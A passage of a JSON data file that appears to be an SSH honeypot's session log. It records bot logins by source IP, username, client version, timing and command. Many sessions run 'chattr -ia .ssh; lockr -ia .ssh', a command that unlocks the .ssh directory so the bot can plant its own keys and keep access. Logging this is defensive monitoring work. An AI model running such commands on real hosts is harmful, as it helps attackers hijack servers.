  "src_port": 51230,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:34:25.415389+00:00",
  "ended_at": "2026-08-26T23:34:27.837009+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f1ef5ea4-4273-43ec-9f72-2767d18da40f",
  "name": "russet-mossy-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 51944,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:32:19.014687+00:00",
  "ended_at": "2026-08-26T23:36:19.278485+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "b9eb3aad-1ada-4969-92e9-51b053452758",
  "name": "gilded-bitter-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 53794,
  "username": "oracle",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:29:09.204502+00:00",
  "ended_at": "2026-08-26T23:33:09.221372+00:00",
  "ended_reason": "connection lost",
  "commands": 2,
  "transcript_bytes": 522
 },
 {
  "id": "ca5274a1-095e-40ff-88a6-58b704720089",
  "name": "feral-deft-egret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59603,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:28:06.321226+00:00",
  "ended_at": "2026-08-26T23:28:07.428136+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0df9cb7a-b7a2-414c-8587-31e8d3d41342",
  "name": "painted-humble-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 54354,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:23:24.366359+00:00",
  "ended_at": "2026-08-26T23:23:25.158960+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7d5e5dab-7599-4b33-8119-376036dc995d",
  "name": "granite-thorny-peccary",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 56528,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T23:22:58.815150+00:00",
  "ended_at": "2026-08-26T23:26:58.828369+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "aff26d29-2e2a-4e5f-8361-384914963176",
  "name": "loyal-honest-sparrow",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 43992,
  "username": "sinh",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:19:44.298611+00:00",
  "ended_at": "2026-08-26T23:23:44.839912+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efedb818-db76-43d4-93d0-a5e6ab791bf6",
  "name": "sooty-brave-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 44990,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:16:41.815702+00:00",
  "ended_at": "2026-08-26T23:20:42.083199+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "53a6bcdd-ecfa-4c32-b4d7-e2f05b337084",
  "name": "bitter-wistful-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 65345,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:13:55.123195+00:00",
  "ended_at": "2026-08-26T23:14:06.405709+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f9515fc9-297b-4dd6-a82a-095acbd432dd",
  "name": "snowy-thrifty-martin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36006,
  "username": "sergey",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:13:34.982293+00:00",
  "ended_at": "2026-08-26T23:17:35.224458+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cdf7cca4-0fb3-4f2e-acf2-da07284ee09b",
  "name": "arctic-calm-curlew",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "58.76.159.170",
  "src_port": 3609,
  "username": "ubuntu",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 458,
  "probe_flagged": 0,
  "exec_command": "echo 'VERIFY_1787785969293877400_4445'",
  "started_at": "2026-08-26T23:12:51.166298+00:00",
  "ended_at": "2026-08-26T23:12:54.225219+00:00",
  "ended_reason": "exec complete",
  "commands": 2,
  "transcript_bytes": 110
 },
 {
  "id": "55b1968a-699f-40a5-a7fe-3bd8f3e40cf8",
  "name": "mindful-fickle-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.154.43.56",
  "src_port": 53096,
  "username": "admin",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:10:13.245803+00:00",
  "ended_at": "2026-08-26T23:10:13.748398+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4516c346-2fff-42c9-8a6b-6b34f58ac4a3",
  "name": "wry-candid-pochard",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 59512,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:07:53.708747+00:00",
  "ended_at": "2026-08-26T23:08:50.463958+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "411c7e14-dd87-44eb-a90f-6b246b325cb5",
  "name": "boreal-shifting-squirrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 63079,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:04:41.824609+00:00",
  "ended_at": "2026-08-26T23:04:51.529017+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c5b4666d-5a0c-4328-b270-76ca4be280e3",
  "name": "gloomy-calm-moose",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 51454,
  "username": "server",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:04:35.276417+00:00",
  "ended_at": "2026-08-26T23:08:35.419112+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "fa036b1b-b705-460f-94ad-330ef3818ad6",
  "name": "knotted-plush-crane",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 62634,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T23:04:28.779740+00:00",
  "ended_at": "2026-08-26T23:04:30.082736+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f2bff359-772a-4bd1-9c20-51338e0f1dd3",
  "name": "noble-nautical-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 45396,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:58:30.186391+00:00",
  "ended_at": "2026-08-26T22:59:28.895241+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "942a9855-ff9d-45cc-842c-d369104b984b",
  "name": "sturdy-zealous-tinamou",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 35716,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:58:12.154069+00:00",
  "ended_at": "2026-08-26T23:02:12.387864+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "117b96cf-697a-41fc-9e97-0e6ba0d81a34",
  "name": "brazen-thorny-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.161.29",
  "src_port": 63380,
  "username": "maint",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:56:37.382201+00:00",
  "ended_at": "2026-08-26T22:56:37.767688+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "48a02821-9c28-49b2-a275-dbf93718a57c",
  "name": "northern-diligent-kea",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 57256,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:54:02.157985+00:00",
  "ended_at": "2026-08-26T22:54:03.018766+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "7e666b73-ea45-4ad2-a0ff-2041491359b3",
  "name": "jaunty-grassy-pheasant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57276,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:53:38.383179+00:00",
  "ended_at": "2026-08-26T22:53:40.179348+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a6c6c47c-a8a0-4db6-aac1-0c13d44ed61e",
  "name": "golden-coastal-brambling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57272,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:53:37.400030+00:00",
  "ended_at": "2026-08-26T22:53:38.246190+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a1b9dc89-1589-4825-a649-7820cde79b12",
  "name": "civil-merry-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36400,
  "username": "sage",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:52:27.636871+00:00",
  "ended_at": "2026-08-26T22:53:26.250857+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b6845da-1b7f-4cac-80d6-3d42d876429b",
  "name": "eager-feral-muntjac",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 47172,
  "username": "sage",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:52:01.596278+00:00",
  "ended_at": "2026-08-26T22:56:01.760004+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "edd0c314-fcb9-447c-b79a-3656dc46905b",
  "name": "fabled-murky-hamster",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 57498,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:51:58.922845+00:00",
  "ended_at": "2026-08-26T22:52:00.471746+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2263
 },
 {
  "id": "803b5d5d-e6a2-45d7-809b-7c1bba24b524",
  "name": "orderly-wandering-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57520,
  "username": "admin123",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:51:37.864023+00:00",
  "ended_at": "2026-08-26T22:51:39.560583+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d746766-a0f4-4c3c-aaee-93c9e2f7119c",
  "name": "jagged-peaty-pipit",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57508,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:51:37.013092+00:00",
  "ended_at": "2026-08-26T22:51:37.728005+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "f9e62d41-1d36-4fdd-af5c-5dddd67fcffc",
  "name": "coastal-frosty-jaguar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 47664,
  "username": "mahendra",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:50:04.919657+00:00",
  "ended_at": "2026-08-26T22:50:07.051229+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "aa26d420-074e-4f23-845d-5141cb6461d6",
  "name": "lucid-blithe-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 36288,
  "username": "mahendra",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:49:42.742904+00:00",
  "ended_at": "2026-08-26T22:49:44.643674+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "778b4617-3d7f-4743-9090-7e20433e9a41",
  "name": "rambling-solemn-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47674,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:49:41.462552+00:00",
  "ended_at": "2026-08-26T22:49:42.608897+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0656e02b-b4b7-4df5-820b-a2f183197303",
  "name": "ruddy-vigilant-pika",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 54230,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:48:51.867089+00:00",
  "ended_at": "2026-08-26T22:48:55.024591+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3cd6ff93-d0d2-4c29-8159-4d1bbfce745c",
  "name": "smoky-bitter-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 55893,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:48:45.630112+00:00",
  "ended_at": "2026-08-26T22:48:53.527023+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "22fe2092-f0d9-4d16-894b-ecbb034222d0",
  "name": "velvet-burly-oriole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 59282,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:48:14.443094+00:00",
  "ended_at": "2026-08-26T22:48:15.808304+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b81bebce-2bf2-4f8a-87ee-4bea18d348f2",
  "name": "faded-seaward-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 59296,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:47:51.426328+00:00",
  "ended_at": "2026-08-26T22:47:52.333963+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2729d718-b3c2-48c1-8cd6-65f7dc07f1a3",
  "name": "ivory-burly-falcon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 59288,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:47:50.573432+00:00",
  "ended_at": "2026-08-26T22:47:51.292065+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "414307d0-dd10-440b-9f46-4fa975f862e3",
  "name": "orderly-thawing-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 47676,
  "username": "test_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:46:19.827969+00:00",
  "ended_at": "2026-08-26T22:46:20.812519+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2270
 },
 {
  "id": "8f2d717d-880f-4fb7-b877-69872412ec80",
  "name": "quiet-alpine-ferret",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 44260,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:46:03.501006+00:00",
  "ended_at": "2026-08-26T22:47:02.153303+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "be3d6bf1-3484-4162-ace7-90faf32d5c4d",
  "name": "restless-icy-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47680,
  "username": "test_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:45:58.193484+00:00",
  "ended_at": "2026-08-26T22:45:59.216553+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34a93bbb-f0b9-4df8-9510-32d7dfdc5a75",
  "name": "plush-tranquil-lynx",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47678,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:45:56.226393+00:00",
  "ended_at": "2026-08-26T22:45:58.065071+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ec09ed94-afa2-4205-acf3-95495791b286",
  "name": "ginger-blazing-ibex",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 33740,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:45:45.072248+00:00",
  "ended_at": "2026-08-26T22:49:45.637392+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d52ebf8a-fda9-4565-9359-5d037052d946",
  "name": "mindful-pewter-tapir",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 60222,
  "username": "rolando",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:44:24.890570+00:00",
  "ended_at": "2026-08-26T22:44:26.728059+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2254
 },
 {
  "id": "693c08c7-f8c1-4c8a-a123-dfe2381df4f8",
  "name": "steady-rambling-petrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 49336,
  "username": "rolando",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:44:04.093837+00:00",
  "ended_at": "2026-08-26T22:44:05.117946+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9401bee1-f176-449c-a021-ec92b52f0ab9",
  "name": "mindful-creaky-dingo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60226,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:44:02.086077+00:00",
  "ended_at": "2026-08-26T22:44:03.959062+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0570332a-1fd4-4a47-ada3-ec6409b397ff",
  "name": "cunning-graceful-wheatear",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 46574,
  "username": "chenl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:42:33.369511+00:00",
  "ended_at": "2026-08-26T22:42:35.381203+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2250
 },
 {
  "id": "8ccd1c45-0040-4f47-9d2c-43edf8b453bc",
  "name": "gilded-lofty-starling",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36748,
  "username": "linuxadmin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:42:28.563121+00:00",
  "ended_at": "2026-08-26T22:46:29.081607+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dfbbc45c-59ca-46c8-9de3-160198f629bd",
  "name": "misty-crystal-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 46590,
  "username": "chenl",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:42:11.263658+00:00",
  "ended_at": "2026-08-26T22:42:12.625629+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "da35501d-2f13-4cd0-80ff-4cc4cc23fa90",
  "name": "brave-hazy-narwhal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 46582,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:42:09.528952+00:00",
  "ended_at": "2026-08-26T22:42:11.127472+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2943d701-1f53-4cd1-96c1-e0d3fca39df1",
  "name": "vernal-brazen-addax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 50625,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:41:37.410816+00:00",
  "ended_at": "2026-08-26T22:41:38.569657+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4e719400-061f-4e49-adcd-cf9a46eb27dc",
  "name": "candid-diligent-cougar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 41206,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:40:30.789721+00:00",
  "ended_at": "2026-08-26T22:40:31.645165+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "37d8b013-4336-491b-874f-487d26d24c2d",
  "name": "sooty-thorny-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 57352,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:40:12.145325+00:00",
  "ended_at": "2026-08-26T22:40:12.963830+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
